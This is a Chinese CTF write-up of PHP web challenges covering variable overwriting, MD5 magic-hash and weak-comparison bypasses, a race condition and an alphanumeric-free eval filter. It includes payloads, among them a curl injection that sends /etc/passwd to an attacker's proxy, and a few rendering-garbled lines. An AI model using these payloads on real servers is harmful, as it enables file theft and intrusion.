改自先知社区-红日安全-
highlight_file('5.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
var_dump($_GET);
echo '
';
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
var_dump($urlInfo);
echo '
';
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
echo $url;
system("curl ".$url);
}
}
?>
在10行-13行的一串代码
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
分析下逻辑:
第1行
循环GET,POST,_COOKIE
字符串,依次的的赋予到$__R
,第2行
再判断$$__R
是否存在(eg:_ G E T ) , 如 果 存 在 则 将 超 全 局 数 组 里 的 键 赋 予 给 ‘ GET),如果存在则将超全局数组里的键赋予给` GET),如果存在则将超全局数组里的键赋予给‘k,比较键名名字的变量的值是否与数组键对应的值相等,若相等则
unset`(摧毁变量)利用:
GET
请求提交flag=test
,再POST
请求提交_GET[flag]=test.这个时候GET数组中就已经存在GET[flag]=test
.当第1行
循环到POST
时,我们传入的_GET[flag]
到$$__k
中是就为$_GET[flag]
,而这个的值也是test
则就会删除这个变量.就没有经过waf
判断if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
这样我们提交的_GET[flag]=test
,就被提取成了$_GET[flag]=test
.
加了点代码演示一下:
还有一个MD5的判断,意思就是变量值不一样,但MD5加密后要相等,利用科学计数法绕过,0e开头的科学计数的值是相等的,所以找MD5加密后开头为0e的
curl
读取文件,主要就是利用escapeshellarg
和escapeshellcmd
.curl
中存在 -F 提交表单的方法,也可以提交文件。 -F curl -F "[email protected];type=text/html" url.com
。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。http://baidu.com/' -F file=@/etc/passwd -x vps:9999
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>
PHP对字符类的定义,具体点这里
[:alnum:] 字母和数字
[:alpha:] 代表任何英文大小写字符,亦即 A-Z, a-z
[:lower:] 小写字母
[:upper:] 大写字母
[:blank:] 水平空白字符(空格和制表符)
[:space:] 所有水平和垂直的空白字符(比[:blank:]包含的范围广)
[:cntrl:] 不可打印的控制字符(退格、删除、警铃...)
[:digit:] 十进制数字
[:graph:] 可打印的非空白字符
[:print:] 可打印字符
[:punct:] 标点符号
[:xdigit:] 十六进制数字
主要考察了PHP正则表达式的字符类的熟练。
第6行
,正则表达式 if (0 >= preg_match('/^[[:graph:]]{12,}/', password))
匹配可打印字符12个及以上,就是password
的长度至少为12
第13-15行
,正则表达式$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
连续的符号、数字、大写、小写,作为一段,至有六段。比如TEst+-TEst01
,分为TE
,st
,+-
,TE
,st
,01
这六段
第17-23行
,表示为输入的字符串至少含有符号、数字、大写、小写中的三种类型$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
24行
进行了弱比较,利用科学计数法使一长串字符的结果为42
password=42.0e+000000
password=420.00000e-1
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo 'flag is here';
}
?>
//uploadsomething.php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
EOT;
}
else{
echo 'you can not see this page';
}
?>
环境搭建没成功,原文复制
第4行
存在 @parse_str($id); 这个函数不会检查变量 $id 是否存在,如果通过其他方式传入数据给变量 $id ,且当前 $id 中数据存在,它将会直接覆盖掉。而在第6行有一段这样代码。if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
PHP Hash比较存在缺陷 ,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。而这里的 md5(‘QNKCDZO’)
的结果是 0e830400451993494058024219903391 。所以payload为?id=a[0]=s878926199a
。这样就可以在页面上回显。
echo 'flag is here';
第3行和第4行
有这样两句代码如下:$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false)
这里有个refer
判断,判断 refer 是否存在,如果有展现上传页面,如果没有,就返回 you can not see this page 。
据我们所知,通过a标签点击的链接,会自己自动携带上refer字段。然后 携带refer 和 不携带refer ,返回的结果不一样。
第13行
和第18行
有这样代码如下:$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
这里有一句关键就是 usleep(100000); 这题需要在写入 too slow 之前,访问之前写入的文件,即可获得flag,这里就存在时间竞争问题。但是我们看到其实这里的文件夹路径是固定写死的。
直接访问会返回 too slow
因此这里的解法是,开Burp的200线程,一个不断发包
http://127.0.0.1/parse_str/uploadsomething.php?filename=flag&content=111
或脚本
import requests as r
r1=r.Session()
while (1):
r2=r1.get("http://127.0.0.1/parse_str/uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/flag")
print r2.text
pass
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
\\flag.php
function getFlag()
{
echo "HRCTF{f1lt3r_var_1s_s0_c00l}";
}
?>
移步PHP不包括字母,数字和下划线的webshell